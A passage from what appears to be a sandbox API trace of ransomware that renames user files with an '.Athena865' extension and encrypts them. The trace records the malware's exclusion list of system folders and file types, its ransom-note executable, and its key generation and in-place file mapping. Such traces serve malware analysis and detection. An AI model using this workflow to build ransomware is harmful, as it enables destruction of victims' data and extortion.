Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\eoiR8mIRG.ods.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\gkf\\eoir8mirg.ods.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.267] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=29334) returned 1 [0101.267] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.267] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.267] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0101.267] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.268] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.268] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.268] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x75a0, lpName=0x0) returned 0x17c [0101.269] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x75a0) returned 0x100000 [0101.270] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.270] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.270] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.271] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.271] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.271] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.271] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x544058 [0101.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x544058 | out: hHeap=0x4f0000) returned 1 [0101.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.271] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.271] CloseHandle (hObject=0x17c) returned 1 [0101.271] CloseHandle (hObject=0x154) returned 1 [0101.272] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.272] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5193c0 | out: hHeap=0x4f0000) returned 1 [0101.272] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.273] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5b1b0c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc5b1b0c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0101.273] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0101.273] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa9860f0, ftCreationTime.dwHighDateTime=0x1d4c9df, ftLastAccessTime.dwLowDateTime=0x46a50e30, ftLastAccessTime.dwHighDateTime=0x1d4cc4c, ftLastWriteTime.dwLowDateTime=0x46a50e30, ftLastWriteTime.dwHighDateTime=0x1d4cc4c, nFileSizeHigh=0x0, nFileSizeLow=0x17773, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kcByr67Yo1tROu.mp3", cAlternateFileName="KCBYR6~1.MP3")) returned 1 [0101.273] lstrcmpiW (lpString1="kcByr67Yo1tROu.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.273] lstrcmpiW (lpString1="kcByr67Yo1tROu.mp3", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.273] lstrcmpiW (lpString1="kcByr67Yo1tROu.mp3", lpString2=".") returned 1 [0101.273] lstrcmpiW (lpString1="kcByr67Yo1tROu.mp3", lpString2="..") returned 1 [0101.273] lstrcmpiW (lpString1="kcByr67Yo1tROu.mp3", lpString2="windows") returned -1 [0101.273] lstrcmpiW (lpString1="kcByr67Yo1tROu.mp3", lpString2="bootmgr") returned 1 [0101.273] lstrcmpiW (lpString1="kcByr67Yo1tROu.mp3", lpString2="temp") returned -1 [0101.273] lstrcmpiW (lpString1="kcByr67Yo1tROu.mp3", lpString2="pagefile.sys") returned -1 [0101.273] lstrcmpiW (lpString1="kcByr67Yo1tROu.mp3", lpString2="boot") returned 1 [0101.273] lstrcmpiW (lpString1="kcByr67Yo1tROu.mp3", lpString2="ids.txt") returned 1 [0101.273] lstrcmpiW (lpString1="kcByr67Yo1tROu.mp3", lpString2="ntuser.dat") returned -1 [0101.273] lstrcmpiW (lpString1="kcByr67Yo1tROu.mp3", lpString2="perflogs") returned -1 [0101.273] lstrcmpiW (lpString1="kcByr67Yo1tROu.mp3", lpString2="MSBuild") returned -1 [0101.273] lstrlenW (lpString="kcByr67Yo1tROu.mp3") returned 18 [0101.273] lstrcpyW (in: lpString1=0x241e8be, lpString2="kcByr67Yo1tROu.mp3" | out: lpString1="kcByr67Yo1tROu.mp3") returned="kcByr67Yo1tROu.mp3" [0101.273] lstrlenW (lpString="kcByr67Yo1tROu.mp3") returned 18 [0101.273] lstrlenW (lpString="Athena865") returned 9 [0101.273] lstrcmpiW (lpString1="1tROu.mp3", lpString2="Athena865") returned -1 [0101.274] lstrlenW (lpString=".dll") returned 4 [0101.274] lstrcmpiW (lpString1="kcByr67Yo1tROu.mp3", lpString2=".dll") returned 1 [0101.274] lstrlenW (lpString=".lnk") returned 4 [0101.274] lstrcmpiW (lpString1="kcByr67Yo1tROu.mp3", lpString2=".lnk") returned 1 [0101.274] lstrlenW (lpString=".ini") returned 4 [0101.274] lstrcmpiW (lpString1="kcByr67Yo1tROu.mp3", lpString2=".ini") returned 1 [0101.274] lstrlenW (lpString=".sys") returned 4 [0101.274] lstrcmpiW (lpString1="kcByr67Yo1tROu.mp3", lpString2=".sys") returned 1 [0101.274] lstrlenW (lpString="kcByr67Yo1tROu.mp3") returned 18 [0101.274] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\kcByr67Yo1tROu.mp3.Athena865") returned 87 [0101.274] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\kcByr67Yo1tROu.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\gkf\\kcbyr67yo1trou.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\kcByr67Yo1tROu.mp3.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\gkf\\kcbyr67yo1trou.mp3.athena865"), dwFlags=0x1) returned 1 [0101.275] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\kcByr67Yo1tROu.mp3.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\gkf\\kcbyr67yo1trou.mp3.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.275] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=96115) returned 1 [0101.275] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.275] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.275] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0101.275] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.276] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.276] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.276] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17a80, lpName=0x0) returned 0x17c [0101.276] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17a80) returned 0x100000 [0101.279] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.280] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.280] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.280] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.280] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.280] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.280] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.280] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.280] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x546058 [0101.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546058 | out: hHeap=0x4f0000) returned 1 [0101.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.281] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.282] CloseHandle (hObject=0x17c) returned 1 [0101.282] CloseHandle (hObject=0x154) returned 1 [0101.286] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.286] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5193c0 | out: hHeap=0x4f0000) returned 1 [0101.286] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.286] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd407d100, ftCreationTime.dwHighDateTime=0x1d4d0bf, ftLastAccessTime.dwLowDateTime=0x5bcdf510, ftLastAccessTime.dwHighDateTime=0x1d4d1bf, ftLastWriteTime.dwLowDateTime=0x5bcdf510, ftLastWriteTime.dwHighDateTime=0x1d4d1bf, nFileSizeHigh=0x0, nFileSizeLow=0x165ab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oyYKYFYP.png", cAlternateFileName="")) returned 1 [0101.286] lstrcmpiW (lpString1="oyYKYFYP.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.286] lstrcmpiW (lpString1="oyYKYFYP.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.286] lstrcmpiW (lpString1="oyYKYFYP.png", lpString2=".") returned 1 [0101.287] lstrcmpiW (lpString1="oyYKYFYP.png", lpString2="..") returned 1 [0101.287] lstrcmpiW (lpString1="oyYKYFYP.png", lpString2="windows") returned -1 [0101.287] lstrcmpiW (lpString1="oyYKYFYP.png", lpString2="bootmgr") returned 1 [0101.287] lstrcmpiW (lpString1="oyYKYFYP.png", lpString2="temp") returned -1 [0101.287] lstrcmpiW (lpString1="oyYKYFYP.png", lpString2="pagefile.sys") returned -1 [0101.287] lstrcmpiW (lpString1="oyYKYFYP.png", lpString2="boot") returned 1 [0101.287] lstrcmpiW (lpString1="oyYKYFYP.png", lpString2="ids.txt") returned 1 [0101.287] lstrcmpiW (lpString1="oyYKYFYP.png", lpString2="ntuser.dat") returned 1 [0101.287] lstrcmpiW (lpString1="oyYKYFYP.png", lpString2="perflogs") returned -1 [0101.287] lstrcmpiW (lpString1="oyYKYFYP.png", lpString2="MSBuild") returned 1 [0101.287] lstrlenW (lpString="oyYKYFYP.png") returned 12 [0101.287] lstrcpyW (in: lpString1=0x241e8be, lpString2="oyYKYFYP.png" | out: lpString1="oyYKYFYP.png") returned="oyYKYFYP.png" [0101.287] lstrlenW (lpString="oyYKYFYP.png") returned 12 [0101.287] lstrlenW (lpString="Athena865") returned 9 [0101.287] lstrcmpiW (lpString1="KYFYP.png", lpString2="Athena865") returned 1 [0101.287] lstrlenW (lpString=".dll") returned 4 [0101.287] lstrcmpiW (lpString1="oyYKYFYP.png", lpString2=".dll") returned 1 [0101.287] lstrlenW (lpString=".lnk") returned 4 [0101.287] lstrcmpiW (lpString1="oyYKYFYP.png", lpString2=".lnk") returned 1 [0101.287] lstrlenW (lpString=".ini") returned 4 [0101.287] lstrcmpiW (lpString1="oyYKYFYP.png", lpString2=".ini") returned 1 [0101.287] lstrlenW (lpString=".sys") returned 4 [0101.287] lstrcmpiW (lpString1="oyYKYFYP.png", lpString2=".sys") returned 1 [0101.287] lstrlenW (lpString="oyYKYFYP.png") returned 12 [0101.287] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\oyYKYFYP.png.Athena865") returned 81 [0101.287] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\oyYKYFYP.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\gkf\\oyykyfyp.png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\oyYKYFYP.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\gkf\\oyykyfyp.png.athena865"), dwFlags=0x1) returned 1 [0101.293] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\oyYKYFYP.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\gkf\\oyykyfyp.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.294] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=91563) returned 1 [0101.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0101.294] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.295] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.295] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.295] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x168b0, lpName=0x0) returned 0x17c [0101.295] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x168b0) returned 0x100000 [0101.298] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.299] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.299] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.299] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.299] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.299] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.299] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.299] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x546058 [0101.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.300] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546058 | out: hHeap=0x4f0000) returned 1 [0101.300] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.300] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.300] CloseHandle (hObject=0x17c) returned 1 [0101.301] CloseHandle (hObject=0x154) returned 1 [0101.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5193c0 | out: hHeap=0x4f0000) returned 1 [0101.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.302] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfca3e660, ftCreationTime.dwHighDateTime=0x1d4cd29, ftLastAccessTime.dwLowDateTime=0x5c12b180, ftLastAccessTime.dwHighDateTime=0x1d4d207, ftLastWriteTime.dwLowDateTime=0x5c12b180, ftLastWriteTime.dwHighDateTime=0x1d4d207, nFileSizeHigh=0x0, nFileSizeLow=0xcd65, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PVDGrFMGOrOutk.mkv", cAlternateFileName="PVDGRF~1.MKV")) returned 1 [0101.302] lstrcmpiW (lpString1="PVDGrFMGOrOutk.mkv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.302] lstrcmpiW (lpString1="PVDGrFMGOrOutk.mkv", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.302] lstrcmpiW (lpString1="PVDGrFMGOrOutk.mkv", lpString2=".") returned 1 [0101.303] lstrcmpiW (lpString1="PVDGrFMGOrOutk.mkv", lpString2="..") returned 1 [0101.303] lstrcmpiW (lpString1="PVDGrFMGOrOutk.mkv", lpString2="windows") returned -1 [0101.303] lstrcmpiW (lpString1="PVDGrFMGOrOutk.mkv", lpString2="bootmgr") returned 1 [0101.303] lstrcmpiW (lpString1="PVDGrFMGOrOutk.mkv", lpString2="temp") returned -1 [0101.303] lstrcmpiW (lpString1="PVDGrFMGOrOutk.mkv", lpString2="pagefile.sys") returned 1 [0101.303] lstrcmpiW (lpString1="PVDGrFMGOrOutk.mkv", lpString2="boot") returned 1 [0101.303] lstrcmpiW (lpString1="PVDGrFMGOrOutk.mkv", lpString2="ids.txt") returned 1 [0101.303] lstrcmpiW (lpString1="PVDGrFMGOrOutk.mkv", lpString2="ntuser.dat") returned 1 [0101.303] lstrcmpiW (lpString1="PVDGrFMGOrOutk.mkv", lpString2="perflogs") returned 1 [0101.303] lstrcmpiW (lpString1="PVDGrFMGOrOutk.mkv", lpString2="MSBuild") returned 1 [0101.303] lstrlenW (lpString="PVDGrFMGOrOutk.mkv") returned 18 [0101.303] lstrcpyW (in: lpString1=0x241e8be, lpString2="PVDGrFMGOrOutk.mkv" | out: lpString1="PVDGrFMGOrOutk.mkv") returned="PVDGrFMGOrOutk.mkv" [0101.303] lstrlenW (lpString="PVDGrFMGOrOutk.mkv") returned 18 [0101.303] lstrlenW (lpString="Athena865") returned 9 [0101.303] lstrcmpiW (lpString1="rOutk.mkv", lpString2="Athena865") returned 1 [0101.303] lstrlenW (lpString=".dll") returned 4 [0101.303] lstrcmpiW (lpString1="PVDGrFMGOrOutk.mkv", lpString2=".dll") returned 1 [0101.303] lstrlenW (lpString=".lnk") returned 4 [0101.303] lstrcmpiW (lpString1="PVDGrFMGOrOutk.mkv", lpString2=".lnk") returned 1 [0101.303] lstrlenW (lpString=".ini") returned 4 [0101.303] lstrcmpiW (lpString1="PVDGrFMGOrOutk.mkv", lpString2=".ini") returned 1 [0101.303] lstrlenW (lpString=".sys") returned 4 [0101.303] lstrcmpiW (lpString1="PVDGrFMGOrOutk.mkv", lpString2=".sys") returned 1 [0101.303] lstrlenW (lpString="PVDGrFMGOrOutk.mkv") returned 18 [0101.303] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\PVDGrFMGOrOutk.mkv.Athena865") returned 87 [0101.303] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\PVDGrFMGOrOutk.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\gkf\\pvdgrfmgoroutk.mkv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\PVDGrFMGOrOutk.mkv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\gkf\\pvdgrfmgoroutk.mkv.athena865"), dwFlags=0x1) returned 1 [0101.307] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\PVDGrFMGOrOutk.mkv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\gkf\\pvdgrfmgoroutk.mkv.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.307] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=52581) returned 1 [0101.307] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.307] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.307] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0101.308] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.308] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.308] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.309] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd070, lpName=0x0) returned 0x17c [0101.309] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd070) returned 0x100000 [0101.311] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.312] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.312] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.312] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.312] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.312] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.312] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.312] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.312] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.312] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x546058 [0101.312] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.312] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546058 | out: hHeap=0x4f0000) returned 1 [0101.312] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.312] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.313] CloseHandle (hObject=0x17c) returned 1 [0101.313] CloseHandle (hObject=0x154) returned 1 [0101.314] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.314] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5193c0 | out: hHeap=0x4f0000) returned 1 [0101.314] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.315] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfca3e660, ftCreationTime.dwHighDateTime=0x1d4cd29, ftLastAccessTime.dwLowDateTime=0x5c12b180, ftLastAccessTime.dwHighDateTime=0x1d4d207, ftLastWriteTime.dwLowDateTime=0x5c12b180, ftLastWriteTime.dwHighDateTime=0x1d4d207, nFileSizeHigh=0x0, nFileSizeLow=0xcd65, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PVDGrFMGOrOutk.mkv", cAlternateFileName="PVDGRF~1.MKV")) returned 0 [0101.315] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0101.315] ReleaseMutex (hMutex=0xec) returned 1 [0101.315] CloseHandle (hObject=0xec) returned 1 [0101.315] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs" 